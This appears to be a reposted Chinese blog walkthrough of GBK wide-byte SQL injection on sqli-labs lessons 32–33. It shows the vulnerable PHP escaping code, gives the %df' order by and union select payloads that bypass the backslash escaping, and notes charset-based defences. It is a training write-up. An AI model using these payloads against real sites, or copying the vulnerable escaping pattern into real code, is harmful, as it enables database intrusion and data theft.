ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

宽字节注入(绕过/‘转义)less32-33

2021-03-27 10:32:05  阅读:265  来源: 互联网

标签:字节 33 preg addslashes mysql less32 id string


Unicode

统一码,也叫万国码、单一码(Unicode)是计算机科学领域里的一项业界标准,包括字符集、编码方案等。Unicode 是为了解决传统的字符编码方案的局限而产生的,它为每种语言中的每个字符设定了统一并且唯一的二进制编码,以满足跨语言、跨平台进行文本转换、处理的要求。
如果把各种文字编码形容为各地的方言,那么Unicode就是世界各国合作开发的一种语言。

宽字符(两个以上字节)

宽字符是指两个字节宽度的编码技术,如UNICODE、GBK、BIG5等。

宽字节注入原理

在使用PHP连接MySQL的时候,当设置“set
character_set_client = gbk”时会导致一个编码转换的问题,也就是我们熟悉的宽字节注入,当存在宽字节注入的时候,注入参数里带入% DF%27,即可把(%5C)吃掉
我们这里的宽字节注入是利用的MySQL的一个特性,MySQL的在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ASCII码要大于128,才到汉字的范围)。这就是MySQL的的特性,因为GBK是多字节编码,他认为两个字节代表一个汉字,所以%DF和后面的\也就是%5c中变成了一个汉字“运”,而“逃逸了出来。

方法:在注入点后键入%df’(单引号),然后进行正常注入
在这里插入图片描述

以下为URL编码:

%27---------单引号

%20----------空格

%23-----------#号

%5c------------/反斜杠

防御

1.使用mysql_set_charset(utf8)指定字符集

2、 使用mysql_real_escape_string进行转义

用于转义的函数有addslashes,mysql_real_escape_string,mysql_escape_string等

在这里插入图片描述

实战输入

less32(preg_replace)

源代码:

 function check_addslashes($string)
 {
     $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash
     $string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
     $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash
     return $string;
 }

 mysql_query("SET NAMES gbk");
 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
 $result=mysql_query($sql);
 $row = mysql_fetch_array($result);

preg_replace()函数

preg_replace ( pattern , replacement , subject )
搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。
返回值
如果 subject 是一个数组, preg_replace() 返回一个数组, 其他情况下返回一个字符串。如果匹配被查找到,替换后的 subject 被返回,其他情况下 返回没有改变的 subject。如果发生错误,返回 NULL。

注入:
输入:?id=%df’ order by 4–+
在这里插入图片描述

输入:?id=%df’ union select 1,2,3–+
在这里插入图片描述
爆库过程不再详述。

less33 addslashes()

源代码:

function check_addslashes($string)
 {
     $string= addslashes($string);
     return $string;
 }
 
 $id=check_addslashes($_GET['id']);
 mysql_query("SET NAMES gbk");
 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
 $result=mysql_query($sql);
 $row = mysql_fetch_array($result);

addslashes() 函数

addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:

  • 单引号(’)
  • 双引号(")
  • 反斜杠(\)
  • NULL

注入:
输入:?id=%df’ order by 4–+
在这里插入图片描述

输入:?id=%df’ union select 1,2,3–+
在这里插入图片描述

爆库过程不再赘述

标签:字节,33,preg,addslashes,mysql,less32,id,string
来源: https://blog.csdn.net/weixin_51585133/article/details/115256784

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有